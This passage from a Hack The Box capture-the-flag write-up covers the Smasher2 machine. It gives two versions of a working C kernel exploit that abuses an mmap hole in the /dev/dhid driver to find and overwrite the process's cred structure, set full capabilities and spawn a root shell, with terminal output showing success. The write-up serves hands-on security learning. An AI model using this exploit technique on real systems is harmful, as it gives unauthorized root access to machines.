[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186d84, crednum: 5
[*] Cred structure found! ptr: 0x76186fc4, crednum: 6
[*] Cred structure found! ptr: 0x761872c4, crednum: 7
[*] Cred structure found! ptr: 0x76187684, crednum: 8
[*] Cred structure found! ptr: 0x76187984, crednum: 9
[*] Cred structure found! ptr: 0x76187b04, crednum: 10
[*] Cred structure found! ptr: 0x76187bc4, crednum: 11
[*] Cred structure found! ptr: 0x76187c84, crednum: 12
[*] Cred structure found! ptr: 0x77112184, crednum: 13
[*] Cred structure found! ptr: 0x771123c4, crednum: 14
[*] Cred structure found! ptr: 0x77112484, crednum: 15
[*] Cred structure found! ptr: 0x771129c4, crednum: 16
[*] Cred structure found! ptr: 0x77113084, crednum: 17
[*] Cred structure found! ptr: 0x77113144, crednum: 18
[*] Cred structure found! ptr: 0x77113504, crednum: 19
[*] Cred structure found! ptr: 0x77113c84, crednum: 20
[*] Cred structure found! ptr: 0x7714a604, crednum: 21
[*] Cred structure found! ptr: 0x7714aa84, crednum: 22
[*] Cred structure found! ptr: 0x7714ac04, crednum: 23
[*] Cred structure found! ptr: 0x7714afc4, crednum: 24
[*] Cred structure found! ptr: 0x7714ba44, crednum: 25
[*] Cred structure found! ptr: 0xb9327bc4, crednum: 26
dzonerzy@smasher2:/dev/shm$
Now we need to overwrite the cred
structure that belongs to our process, we’ll keep overwriting every cred
structure we find and check our uid
, when we overwrite the one that belongs to our process our uid
should be 0
:
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}
pwn.c
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}
printf("[*] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[*] mmap OK address: %lx\n", addr);
unsigned int uid = getuid();
printf("[*] Current UID: %d\n", uid);
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}
else{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}
fflush(stdout);
int stop = getchar();
return 0;
}
dzonerzy@smasher2:/dev/shm$ ./pwn
[+] PID: 4773
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186fc4, crednum: 5
[*] Cred structure found! ptr: 0x76187684, crednum: 6
[*] Cred structure found! ptr: 0x76187bc4, crednum: 7
[*] Cred structure found! ptr: 0x77112184, crednum: 8
[*] Cred structure found! ptr: 0x771123c4, crednum: 9
[*] Cred structure found! ptr: 0x77112484, crednum: 10
[*] Cred structure found! ptr: 0x771129c4, crednum: 11
[*] Cred structure found! ptr: 0x77113084, crednum: 12
[*] Cred structure found! ptr: 0x77113144, crednum: 13
[*] Cred structure found! ptr: 0x77113504, crednum: 14
[*] Cred structure found! ptr: 0x77113c84, crednum: 15
[*] Cred structure found! ptr: 0x7714a484, crednum: 16
[*] Cred structure found! ptr: 0x7714a604, crednum: 17
[*] Cred structure found! ptr: 0x7714a6c4, crednum: 18
[*] Cred structure found! ptr: 0x7714a844, crednum: 19
[*] Cred structure found! ptr: 0x7714a9c4, crednum: 20
[*] Cred structure found! ptr: 0x7714aa84, crednum: 21
[*] Cred structure found! ptr: 0x7714ac04, crednum: 22
[*] Cred structure found! ptr: 0x7714ad84, crednum: 23
[*] Process cred structure found ptr: 0x7714ad84, crednum: 23
dzonerzy@smasher2:/dev/shm$
Great! now what’s left to do is to overwrite the capabilities in our cred
structure with 0xffffffffffffffff
and execute /bin/sh
:
credIt += 1;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
execl("/bin/sh","-", (char *)NULL);
pwn.c
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("\033[93m[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
if (fd < 0){
printf("\033[93m[!] Open failed!\n");
return -1;
}
printf("\033[32m[*] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED){
perror("\033[93m[!] Failed to mmap !");
close(fd);
return -1;
}
printf("\033[32m[*] mmap OK address: %lx\n", addr);
unsigned int uid = getuid();
puts("\033[93m[+] Searching for the process cred structure ...");
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0){
printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n", addr, credNum);
puts("\033[32m[*] Got Root");
puts("\033[32m[+] Spawning a shell");
credIt += 1;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
execl("/bin/sh","-", (char *)NULL);
puts("\033[93m[!] Execl failed...");
break;
}
else{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}
return 0;
}
And finally:
dzonerzy@smasher2:/dev/shm$ ./pwn
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft